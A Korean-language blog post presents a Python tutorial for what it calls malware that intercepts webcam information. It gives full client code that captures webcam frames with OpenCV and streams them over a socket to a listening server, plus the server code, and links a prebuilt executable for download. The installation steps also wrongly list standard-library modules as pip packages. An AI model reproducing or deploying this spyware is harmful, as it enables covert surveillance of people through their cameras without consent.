🧽Python/~2021.01

웹캠 정보 가로채기 [ 파이썬 ]

Mawile 2021. 1. 23.
728x90

 

개발환경 >> Pycharm

언어 >>Python3.9.1

운영체제 >> Windows10

 


おはようごじいます~!(안녕하세요)

일본어공부중이라서 한번써봤어요(ㅈㅅ...ㅎ)

 

일단 이번에 만들거는 파이썬기반의 웹캠정보 가로채는 악성코드입니다.

소스코드및 설명은 하단에 적어놨으며,

다운로드는 밑에 링크를 눌러주세요!

 

Webcam강좌.zip

 

drive.google.com

 

다운로드된 exe파일 실행방법:

우선 기본적으로 파이썬이 설치되어있어야한다.

pip install opencv_python

pip install socket

pip install numpy

pip install os

를 해야한뒤,

몇초뒤 클라이언트,서버 둘다 입력이 가능한 콘솔창이 뜰텐데

거기다가 서버의 내부아이피주소를 입력한다.

 

 

 

그럼 ... 시작합니다!


{[ 서버 ]}

#Receiver

import cv2
import socket
import numpy as np

def BytesFromFrameAndRecv(client):
    datasize = int(client.recv(64).decode()) #데이터 크기
    data = client.recv(datasize) #데이터
    ret = np.frombuffer(data, dtype = 'uint8') #배열->이미지
    frame = cv2.imdecode(ret, cv2.IMREAD_COLOR) #이미지 디코딩
    return frame

def main():
    IP = "192.168.219.100"
    PORT = 8080

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((IP, PORT))
    server.listen(20)

    client,addr = server.accept()

    while cv2.waitKey(2) != ord(' '): #키입력으로 종료
        frame = BytesFromFrameAndRecv(client) #함수실행
        cv2.imshow('Server', frame) #화면 띄우기

    cv2.destroyAllWindows()

if __name__ == '__main__':
    main()

 

{[ 클라이언트 ]}

#Sender

import cv2
import socket
import numpy as np

def FrameToBytesAndSend(client, frame):
    ret, bin = cv2.imencode('.jpg', frame, [int(cv2.IMWRITE_JPEG_QUALITY),64]) #이미지 인코딩
    arr = np.array(bin) #배열
    client.send(str(len(arr)).ljust(64).encode()) #이미지크기 전송
    client.send(arr) #이미지 전송

def main():
    IP = "192.168.219.100"
    PORT = 8080

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((IP, PORT))

    cap = cv2.VideoCapture(0)

    while True:
        ret, frame = cap.read() #이미지데이터 받기
        FrameToBytesAndSend(client, frame) #함수실행

    cap.release()
    cv2.destroyAllWindows()

if __name__ == '__main__':
    main()

 

 

 


{[ 시연영상 ]}

 

 

 

 


 

그럼 궁금한 부분있으면 댓글로 질문주세요

안녕!

 

 

 

 

 

728x90

댓글